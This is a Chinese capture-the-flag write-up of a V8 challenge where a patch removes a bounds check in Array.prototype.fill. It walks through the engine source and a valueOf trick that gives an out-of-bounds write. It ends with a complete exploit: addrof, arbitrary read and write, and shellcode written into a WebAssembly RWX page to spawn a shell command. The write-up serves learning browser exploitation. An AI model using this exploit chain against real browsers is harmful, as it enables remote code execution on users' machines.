KCTF 2019 Q3 V8 exploit

前言

比赛的时候分析了下..但由于对js不够了解..没想到怎么绕过array.length和end之间的比较.赛后看别人的exp,学到了很多.

参考:
看雪CTF2019Q3 第十二题:精忠报国 题目设计思路
看雪 ctf q3 第十二题:精忠报国

diff

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
diff --git a/src/objects/elements.cc b/src/objects/elements.cc
index 6e5648d2f4..5e259925dc 100644
--- a/src/objects/elements.cc
+++ b/src/objects/elements.cc
@@ -2148,12 +2148,6 @@ class FastElementsAccessor : public ElementsAccessorBase<Subclass, KindTraits> {
}

// Make sure we have enough space.
- uint32_t capacity =
- Subclass::GetCapacityImpl(*receiver, receiver->elements());
- if (end > capacity) {
- Subclass::GrowCapacityAndConvertImpl(receiver, end);
- CHECK_EQ(Subclass::kind(), receiver->GetElementsKind());
- }
DCHECK_LE(end, Subclass::GetCapacityImpl(*receiver, receiver->elements()));

for (uint32_t index = start; index < end; ++index) {

patch了FillImpl这里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static Object FillImpl(Handle<JSObject> receiver, Handle<Object> obj_value,
uint32_t start, uint32_t end) {
// Ensure indexes are within array bounds
DCHECK_LE(0, start);
DCHECK_LE(start, end);

// Make sure COW arrays are copied.
if (IsSmiOrObjectElementsKind(Subclass::kind())) {
JSObject::EnsureWritableFastElements(receiver);
}
for (uint32_t index = start; index < end; ++index) {
Subclass::SetImpl(receiver, index, *obj_value);
}
return *receiver;
}

原来的逻辑是当end大于capacity的时候,扩展capacity的大小。这里去掉了capacity和end之间的比较,那么当end大于capacity的时候,就可以得到越界写.
通过交叉引用发现如下调用链:

1
BUILTIN(ArrayPrototypeFill) -> TryFastArrayFill -> accessor->Fill -> FillImpl

可以了解到这是Array内置fill方法的实现.

构造poc

BUILTIN的c++写法

看下BUILTIN:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#define BUILTIN(name)                                                       \
V8_WARN_UNUSED_RESULT static Object Builtin_Impl_##name( \
BuiltinArguments args, Isolate* isolate); \
\
V8_NOINLINE static Address Builtin_Impl_Stats_##name( \
int args_length, Address* args_object, Isolate* isolate) { \
BuiltinArguments args(args_length, args_object); \
RuntimeCallTimerScope timer(isolate, \
RuntimeCallCounterId::kBuiltin_##name); \
TRACE_EVENT0(TRACE_DISABLED_BY_DEFAULT("v8.runtime"), \
"V8.Builtin_" #name); \
return Builtin_Impl_##name(args, isolate).ptr(); \
} \
\
V8_WARN_UNUSED_RESULT Address Builtin_##name( \
int args_length, Address* args_object, Isolate* isolate) { \
DCHECK(isolate->context().is_null() || isolate->context().IsContext()); \
if (V8_UNLIKELY(TracingFlags::is_runtime_stats_enabled())) { \
return Builtin_Impl_Stats_##name(args_length, args_object, isolate); \
} \
BuiltinArguments args(args_length, args_object); \
return Builtin_Impl_##name(args, isolate).ptr(); \
} \
\
V8_WARN_UNUSED_RESULT static Object Builtin_Impl_##name( \
BuiltinArguments args, Isolate* isolate)

c++写的BUILTIN函数会接受一个BuiltinArguments args参数.这个对象用来处理js运行时的参数.
BuiltinArguments类继承自Arguments类,BuiltinArguments主要功能是在Arguments中实现的.

1
class BuiltinArguments : public Arguments {

关键成员函数:

1
2
3
4
5
6
Object operator[](int index) {
DCHECK_LT(index, length());
return Arguments::operator[](index);
}
inline Handle<Object> atOrUndefined(Isolate* isolate, int index);
inline Handle<Object> receiver();

atOrUndefined返回参数列表index处的参数,receiver返回调用该内置函数的this对象.即是args[0]

分析 ArrayPrototypeFill

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
BUILTIN(ArrayPrototypeFill) {
HandleScope scope(isolate);

if (isolate->debug_execution_mode() == DebugInfo::kSideEffects) {
if (!isolate->debug()->PerformSideEffectCheckForObject(args.receiver())) {
return ReadOnlyRoots(isolate).exception();
}
}

// 1. Let O be ? ToObject(this value).
Handle<JSReceiver> receiver;// receiverthis
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, receiver, Object::ToObject(isolate, args.receiver()));

// 2. Let len be ? ToLength(? Get(O, "length")).
double length; //获取thislength属性。
MAYBE_ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, length, GetLengthProperty(isolate, receiver));

// 3. Let relativeStart be ? ToInteger(start).
// 4. If relativeStart < 0, let k be max((len + relativeStart), 0);
// else let k be min(relativeStart, len).
// 获得 fill函数的start参数
Handle<Object> start = args.atOrUndefined(isolate, 2);

double start_index;
MAYBE_ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, start_index, GetRelativeIndex(isolate, length, start, 0));

// 5. If end is undefined, let relativeEnd be len;
// else let relativeEnd be ? ToInteger(end).
// 6. If relativeEnd < 0, let final be max((len + relativeEnd), 0);
// else let final be min(relativeEnd, len).
// 获得fill函数的end参数
Handle<Object> end = args.atOrUndefined(isolate, 3);

double end_index;
MAYBE_ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, end_index, GetRelativeIndex(isolate, length, end, length));

if (start_index >= end_index) return *receiver;

// Ensure indexes are within array bounds
DCHECK_LE(0, start_index);
DCHECK_LE(start_index, end_index);
DCHECK_LE(end_index, length);

Handle<Object> value = args.atOrUndefined(isolate, 1);

if (TryFastArrayFill(isolate, &args, receiver, value, start_index,
end_index)) {
return *receiver;
}
return GenericArrayFill(isolate, receiver, value, start_index, end_index);
}

获取end这里:

1
2
3
4
5
6
7
8
9
// 5. If end is undefined, let relativeEnd be len;
// else let relativeEnd be ? ToInteger(end).
// 6. If relativeEnd < 0, let final be max((len + relativeEnd), 0);
// else let final be min(relativeEnd, len).
// 获得fill函数的end参数
Handle<Object> end = args.atOrUndefined(isolate, 3);
double end_index;
MAYBE_ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, end_index, GetRelativeIndex(isolate, length, end, length));

使用GetRelativeIndex来获取数值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
V8_WARN_UNUSED_RESULT Maybe<double> GetRelativeIndex(Isolate* isolate,
double length,
Handle<Object> index,
double init_if_undefined) {
double relative_index = init_if_undefined;
if (!index->IsUndefined()) {
Handle<Object> relative_index_obj;
ASSIGN_RETURN_ON_EXCEPTION_VALUE(isolate, relative_index_obj,
Object::ToInteger(isolate, index),
Nothing<double>());
relative_index = relative_index_obj->Number();
}
if (relative_index < 0) {
return Just(std::max(length + relative_index, 0.0));
}
return Just(std::min(relative_index, length));
}

当end数值大于0的时候,返回end和length两者中的最小值.从这里看好像end不可能大于length,这样的话进入到FillImpl后end是无法大于capacity的,就无法造成越界写.
比赛的时候到这里就卡主了,赛后看出题人的出题思路才知道在end这里传入一个有valueOf成员的对象,这样执行ToInteger的时候就会调用这个对象的valueOf函数来获取这个对象的原始值.
我们可以在valueOf函数里修改array.length为1,这样array的capacity就会缩小. 而数组原先的length已经保存下来了,我们可以在valueOf中返回一个数值等于数组原先的length的值,这样进入FillImpl中,end就会大于capacity,就可以发生越界写.

poc:

1
2
3
4
5
6
7
8
let arr = [1.1];
arr.length = 0x100;
arr.fill(1.1,0,{
valueOf:function(){
arr.length = 2;
return 0x100;
}
});

但是这里写入的都是空闲的空间,并不能写入有用的东西.
这里只是将 element(FixedDoubleArray)的length改小,element占用的空间还是256×8,GC并没有将后面空闲的内存回收(后面剩下的 254×8没有回收)。
这个时候再创建一个对象,并不是从FixedDoubleArray[2]后面分配 , 而是从FixedDobuleArray[256]后面分配. 从FixedDoubleArray[2]到FixedDobuleArray[256]都是GC没有释放掉的空间.

测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
let arr = [1.1];
arr.length = 0x100;
%DebugPrint(arr);
%SystemBreak();
arr.fill(1.1,0,{
valueOf:function(){
arr.length = 2;
%SystemBreak();
let temp = [1.1];
%DebugPrint(temp);
%SystemBreak();
return 0x100;
}
});
%SystemBreak();

将arr.length修改为0x100后:

将arr.length修改为2后:

创建一个数组,打印的地址为:

中间的都是空闲的内存,gc没有回收:

这样的话,越界写的也是空闲内存,并不能覆盖到后面数组的length属性,我们需要挪动下element指向的地方.

bypass

在valueOf中修改array的成员为对象,改变element的类型,这样就会重新分配一块空间(在原来FixedDobuleArray[256]后面分配)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
let arr = [1.1];
let buf = [];
arr.length = 0x100;
%DebugPrint(arr);
%SystemBreak();
arr.fill(1.1,0,{
valueOf:function(){
arr.length = 2;
%SystemBreak();
arr[0] = buf;
let temp = [1.1];
%DebugPrint(temp);
%SystemBreak();
return 0x100;
}
});
%SystemBreak();

当修改arr[0] = buf后element类型变为FixedArray.分配在原先FixedDobuleArray[256]后面

创建的temp也紧跟在element后面:

利用思路就是修改当前数组的下一个数组的length属性,这样就可以得到一个能够越界读写的oob数组,利用思路跟typer那道差不多.

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
function gc() { for (let i = 0; i < 0x10; i++) { new ArrayBuffer(0x1000000); } }
function print(s){console.log(s)};
class convert
{
constructor()
{
this.buf=new ArrayBuffer(8)
this.uint8array=new Uint8Array(this.buf);
this.float64array=new Float64Array(this.buf);
this.uint32array=new Uint32Array(this.buf);
}
f2i(x)//float64 ==> uint64
{
this.float64array[0]=x;
let sum = 0;
for (let i = 0 ;i< 8 ;i ++)
sum += this.uint8array[i]*(0x100**i);
return sum;
}
i2f(x)
{
let tmp = [];
tmp[0] = (x % 0x100000000);
tmp[1] = ((x - tmp[0]) / 0x100000000);
this.uint32array[0]=tmp[0];
this.uint32array[1]=tmp[1];
return this.float64array[0];
}
}
let conv = new convert();

let arr = [1.1];
let oob = [];
let obj = [];
let buf = [];
arr.length = 0x100;
//%SystemBreak();
arr.fill(1.1,10,{
valueOf:function(){
arr.length = 2;
arr.fill(obj);
oob = [1.1];
obj = [{"a":0x41414141,"b":{}}];
buf = new ArrayBuffer(8);
return 11;
}
});
let offset_obj;
for(let i = 0 ;i<0x30 ; i++)
{
let temp = conv.f2i(oob[i]);
if(temp == 0x4141414100000000)
{
offset_obj = i+1;
break;
}
}
function addrof(x)
{
obj[0]["b"]=x;
return conv.f2i(oob[offset_obj]);
}
//print(addrof(buf).toString(16));

let offset_buf ;
for(let i = 0 ; i< 0x40 ; i++)
{
let temp = conv.f2i(oob[i]);
if(temp == 0x8 && conv.f2i(oob[i+2]) == 0x2)
{
offset_buf = i +1;
//print(conv.f2i(oob[i+1]).toString(16));
break;
}
}

function write(addr,value)
{
oob[offset_buf] = conv.i2f(addr);
let x = new BigUint64Array(buf);
x[0] = value;
}

function read(addr)
{
oob[offset_buf] = conv.i2f(addr);
let x = new Uint8Array(buf);
let sum = 0;
for (let i = 0 ;i< 8 ;i ++)
sum += x[i]*(0x100**i);
return sum;
}

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
//%DebugPrint(f);
let f_addr = addrof(f) - 1;
console.log("f_addr ==> 0x"+f_addr.toString(16));
let share_info_addr = read(f_addr + 0x18) - 1;
console.log("share_info ==> 0x"+share_info_addr.toString(16));
let wasm = read(share_info_addr + 8) - 1;
console.log("wasm ==> 0x"+wasm.toString(16));
let instance=read(wasm+0x10) -1;
console.log("instance ==> 0x"+instance.toString(16));
let rwx_addr=read(instance+0x80)
console.log("rwx_addr ==> 0x"+rwx_addr.toString(16));

shellcode = [0x303d8d4852d23148n, 0x253d8d4857000000n, 0x153d8d4857000000n, 0x24348d4857000000n, 0x48000000093d8d48n, 0x050f0000003bc0c7n, 0x0068732f6e69622fn, 0x726f70786500632dn, 0x414c505349442074n, 0x783b302e303a3d59n, 0x00636c6163n]
for(let i = 0 ; i< shellcode.length ; i++)
{
write(rwx_addr+i*8,BigInt(shellcode[i]));
}
f();
//%SystemBreak();